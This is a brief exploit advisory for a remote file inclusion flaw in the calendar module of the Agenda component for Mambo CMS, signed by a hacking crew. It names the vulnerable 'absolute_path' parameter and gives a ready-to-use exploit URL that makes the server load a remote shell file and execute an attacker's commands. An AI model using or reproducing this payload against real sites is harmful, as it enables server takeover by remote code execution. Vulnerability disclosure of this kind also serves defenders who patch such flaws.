The Agenda calendaring solution suffers from a remote file inclusion flaw.
6c08e8d9d4f9c12a7801748ccfe10b4ec20afc7246549a54df25276213c80e22
####################################################################################
#Agenda - Remote File Include
------------------------------------------------------------------------------------
Description:
A complete calendar solution with component and module part for mambo cms. The issue
is at the calendar module.
#####################
#Bug Found by: jank0
#greetz: hackbsd crew
#risk: dangerous
##this bug allows a remote atacker to execute commands via rfi
/path: ?absolute_path=
/xpl:
http://web/modules/mod_calendar.php?absolute_path=http://shell.txt
#Contact: irc.undernet.org #hackbsd & #ircmasters